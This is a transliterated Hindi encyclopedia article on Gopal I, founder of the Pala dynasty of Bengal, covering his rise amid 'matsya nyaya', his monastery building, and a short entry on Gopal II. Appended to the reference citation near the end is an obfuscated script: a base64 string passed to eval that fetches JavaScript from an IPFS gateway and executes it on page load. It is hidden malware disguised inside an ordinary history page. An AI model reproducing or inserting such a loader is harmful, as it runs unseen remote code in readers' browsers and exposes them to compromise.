गोपाल प्रथम
gopal pratham
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| poora nam | gopal pratham |
| pita/mata | pita-'vapyat' |
| dharmik manyata | bauddh dharm |
| vansh | pal vansh |
| shasan kal | lagabhag 750 - 770 ee. |
| any janakari | gopal ke shasan ki tulana prithu aur sagar ke shasanoan se ki gee hai. dharmik vishvasoan mean vah sanbhavat: bauddh tha aur taranath ka kathan hai ki usane patana zile mean sthit vihar ke pas naleandr (nalanda) vihar ki sthapana ki. |
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gopal pratham (aangrezi-Gopala I) gau d (uttari bangal) pal vansh ka pratham[1] raja tatha bangal aur bihar par lagabhag char shatabdi tak shasan karane vale pal vansh ka sansthapak tha. gopal pratham ka shasan lagabhag 750 se 770 ee. tak tha. usake pita ka nam 'vapyat' aur pitamah ka nam 'dayitavishnu' tha. in donoan ka sambandh sambhavat: kisi rajakul se nahian tha. pal vansh ke adhikaansh raja bauddh the. gopal pratham ke dvara sthapit pal vansh ne dirghakal tak shasan kiya. 12vian shatabdi tak bangal-bihar par is vansh ke rajaoan ka shasan raha tha.
matsy nyay
shashaank ki mrityu tatha harshavardhan ke pashchath bangal ki rajanitik sthiti kafi ast-vyast ho gayi thi. is sthiti ko abhilekhoan mean 'matsy nyay' ki sanjna di gayi hai, isake antargat adhik shaktishali vyakti kamazor vyakti ka shoshan karata tha. 'khalimapur abhilekh' mean kaha gaya hai ki 'matsy nyay' se chhutakara pane ke lie prakritiyoan[2] ne gopal pratham ko lakshmi ka baanh grahan karaee tatha use apana shasak niyukt kiya. isake dvara kahaan-kahaan vijay prapt ki geean, is bare mean thik se kuchh bhi jnat nahian hai. tibbati lama evan itihasakar taranath ke anusar gopal pratham ne odantapur mean ek math ka nirman karavaya tha tatha 1197 ee. mean musalamanoan ne is par vijay prapt kar li.
rajavansh ki nianv
gupt aur pushyabhooti vansh ke hras aur aant ke bad bharatavarsh rajanitik drishti se vichchhriankhalit ho gaya aur koee bhi adhisattak shakti nahian bachi. rajanitik mahatvakaankshiyoan ne vibhinn bhagoan mean ne-ne rajavanshoan ki nianv dali. gopal bhi unhian mean ek tha. bauddh itihasakar taranath aur dharmapal ke khalimapur ke tamralekh se jnat hota hai ki janata ne arajakata aur matsyanyay ka aant karane ke liye use raja chuna. vastav mean raja ke pad par usaka koee lokataantrik chunav hua, yah nishchit roop se sahi man lena to kathin hai, yah avashy pratit hota hai ki apane satkaryoan se usane janamanas mean apane liye uchchasthan bana liya tha. usaka kisi rajavansh se koee sanbandh nahian tha aur svayan vah sadharan parivar ka vyakti tha, jisaki kulinata age bhi kabhi svikrit nahian ki gee.[3]
matsyanyay ka aant
sandhyakar nandikrit ramapal charit mean gopal ka mool shasan vareandr arthath uttari bangal bataya gaya hai. isamean sandeh nahian ki dhire dhire poore vang[4]par usaka adhikar ho gaya aur vah gau dadhipati kahalane laga. jaisa anushruti se jnat hota hai, usane matsyanyay ka aant kiya aur vansh ki rajanitik pratishtha ki nianv achchhi tarah rakhi jo magadh ke bhi kuchh bhagoan tak phail gee. usaki rajanitik vijayoan aur sushasan ka labh usake putr dharmapal ne khoob uthaya aur usane b di asani se gau d rajy ko tatkalin bharat ki pramukh rajanitik shakti banane mean saphalata paee.[3]
gopal ke shasan ki tulana
gopal ke shasan ki tulana prithu aur sagar ke sushasanoan se ki gee hai. dharmik vishvasoan mean vah sanbhavat: bauddh tha aur taranath ka kathan hai ki usane patana jile mean sthit vihar ke pas naleandr (nalanda) vihar ki sthapana ki. manjushri moolakalp se bhi jnat hota hai ki usane anek vihar aur chaity banavae, bag lagavae, baandh aur pul banavae tatha devasthan aur gufaean nirmit karaee. usake shasanakal ka nishchit roop se nirnay nahian kiya ja saka hai. at: yah kahana bhi kathin hai ki gurjar pratihar shasak vatsaraj ka gau dadhipati shatru gopal tha athava usaka putr dharmapal tha.
gopal dvitiy
gopal dvitiy pal vansh ki patanavastha ka raja tha. apane pita rajyapal ki mrityu ke bad 948 ee. mean usane gaddi paee. usaki mata ka nam bhagy devi tha, jo rashtrakoot kanya thi. usaki kamazori ke parinam svaroop uttari aur pashchimi bangal paloan ke hath se nikalakar himalay ke uttari kshetroan se ane vali kaanboj namak akramanakari jati ke hathoan chala gaya. kadachit chandel vansh ke yashovarma ne bhi 953-54 ee. ke as-pas, usake kshetroan par dhava kar use haraya tha. usake kuchh abhilekh prapt hue haian, jinase magadh aur aang matr mean usaka rajanitik adhikar jnat hota hai. usaki mrityu kab huee thi, yah jnat nahian hai.[3]
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 134.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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